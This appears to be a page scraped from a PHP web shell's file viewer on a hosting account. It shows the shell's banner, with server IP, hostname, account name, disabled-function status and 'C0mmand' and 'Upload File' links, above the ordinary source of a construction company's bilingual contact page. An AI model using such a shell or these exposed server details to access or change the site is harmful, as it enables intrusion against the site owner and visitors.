|
Server IP : 63.250.38.157 / Your IP : 216.73.216.55 Web Server : LiteSpeed System : Linux premium293.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64 User : fastpowo ( 1724) PHP Version : 8.2.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/fastpowo/strongconstructions.rw/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
ini_set('session.save_path', '/tmp');
}
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Contact Strong Construction</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<!-- Google Web Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Playfair+Display&family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Icon Font Stylesheet -->
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.4/css/all.css"/>
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.4.1/font/bootstrap-icons.css" rel="stylesheet">
<!-- Libraries Stylesheet -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/4.1.1/animate.min.css"/>
<link href="lib/owlcarousel/assets/owl.carousel.min.css" rel="stylesheet">
<link href="lib/lightbox/css/lightbox.min.css" rel="stylesheet">
<!-- Customized Bootstrap Stylesheet -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Template Stylesheet -->
<link href="css/style.css" rel="stylesheet">
</head>
<body>
<!-- Spinner -->
<div id="spinner" class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
<div class="spinner-border text-primary" style="width: 3rem; height: 3rem;" role="status">
<span class="sr-only">Loading...</span>
</div>
</div>
<!-- Includes -->
<?php include 'topbar.php'; ?>
<?php include 'navbar.php'; ?>
<!-- Header -->
<div class="container-fluid bg-breadcrumb">
<div class="container text-center py-5" style="max-width: 900px;">
<h4 class="text-white display-4 mb-4 wow fadeInDown" data-wow-delay="0.1s">
<?php echo $engValue == 'ENG' ? 'Contact Us' : 'Contactez-nous'; ?>
</h4>
</div>
</div>
<!-- Contact Section -->
<div class="container-fluid contact bg-light py-5">
<div class="container py-5">
<div class="row g-5 mb-5">
<div class="col-lg-6 wow fadeInLeft" data-wow-delay="0.2s">
<div class="text-center mx-auto pb-5" style="max-width: 800px;">
<p class="text-uppercase text-secondary fs-5 mb-0">
<?php echo $engValue == 'ENG' ? 'Let’s Connect' : 'Connectons-nous'; ?>
</p>
<h2 class="display-4 text-capitalize mb-3">
<?php echo $engValue == 'ENG' ? 'Send Your Message' : 'Envoyez votre message'; ?>
</h2>
</div>
<!-- Success / Error Alerts -->
<?php if (isset($_GET['success'])): ?>
<div class="alert alert-success"><?php echo htmlspecialchars($_GET['success']); ?></div>
<?php elseif (isset($_GET['error'])): ?>
<div class="alert alert-danger"><?php echo htmlspecialchars($_GET['error']); ?></div>
<?php endif; ?>
<!-- Form Start -->
<form id="contactForm" method="POST" action="send-message.php" novalidate>
<div class="row g-3">
<div class="col-lg-12 col-xl-6">
<div class="form-floating border border-secondary">
<input type="text" class="form-control" id="name" name="name" placeholder="Your Name" required>
<label for="name"><?php echo $engValue == 'ENG' ? 'Your Name' : 'Votre nom'; ?></label>
</div>
</div>
<div class="col-lg-12 col-xl-6">
<div class="form-floating border border-secondary">
<input type="email" class="form-control" id="email" name="email" placeholder="Your Email" required>
<label for="email"><?php echo $engValue == 'ENG' ? 'Your Email' : 'Votre Email'; ?></label>
</div>
</div>
<div class="col-lg-12 col-xl-6">
<div class="form-floating border border-secondary">
<input type="text" class="form-control" id="phone" name="phone" placeholder="Phone">
<label for="phone"><?php echo $engValue == 'ENG' ? 'Your Phone' : 'Votre téléphone'; ?></label>
</div>
</div>
<div class="col-lg-12 col-xl-6">
<div class="form-floating border border-secondary">
<input type="text" class="form-control" id="project" name="project" placeholder="Project">
<label for="project"><?php echo $engValue == 'ENG' ? 'Your Project' : 'Votre projet'; ?></label>
</div>
</div>
<div class="col-12">
<div class="form-floating border border-secondary">
<input type="text" class="form-control" id="subject" name="subject" placeholder="Subject" required>
<label for="subject"><?php echo $engValue == 'ENG' ? 'Subject' : 'Sujet'; ?></label>
</div>
</div>
<div class="col-12">
<div class="form-floating border border-secondary">
<textarea class="form-control" placeholder="Leave a message here" id="message" name="message" style="height: 160px" required></textarea>
<label for="message">Message</label>
</div>
</div>
<div class="col-12">
<button type="submit" class="btn btn-primary w-100 py-3">
<?php echo $engValue == 'ENG' ? 'Send Message' : 'Envoyer un message'; ?>
</button>
</div>
</div>
</form>
<!-- Form End -->
</div>
<div class="col-lg-6 wow fadeInRight" data-wow-delay="0.4s">
<div class="contact-map h-100 w-100">
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3987.5246204058403!2d30.05736657477878!3d-1.9428987980394787!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x19dca59ea21cca79%3A0x944687c79e5ecd3b!2sRubangura%20Plaza!5e0!3m2!1sen!2srw!4v1754646358858!5m2!1sen!2srw" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
</div>
</div>
</div>
</div>
</div>
<!-- Other Sections -->
<?php include 'team.php'; ?>
<?php include 'footer.php'; ?>
<?php include 'copyright.php'; ?>
<!-- Back to Top -->
<a href="#" class="btn btn-secondary btn-lg-square back-to-top"><i class="fa fa-arrow-up"></i></a>
<!-- Scripts -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="lib/wow/wow.min.js"></script>
<script src="lib/easing/easing.min.js"></script>
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
<script src="lib/lightbox/js/lightbox.min.js"></script>
<script src="js/main.js"></script>
<!-- JavaScript Form Validation -->
<script>
document.getElementById('contactForm').addEventListener('submit', function (e) {
const name = document.getElementById("name").value.trim();
const email = document.getElementById("email").value.trim();
const subject = document.getElementById("subject").value.trim();
const message = document.getElementById("message").value.trim();
if (!name || !email || !subject || !message) {
alert("Please fill out all required fields.");
e.preventDefault();
}
const emailPattern = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/;
if (!email.match(emailPattern)) {
alert("Please enter a valid email address.");
e.preventDefault();
}
});
</script>
</body>
</html>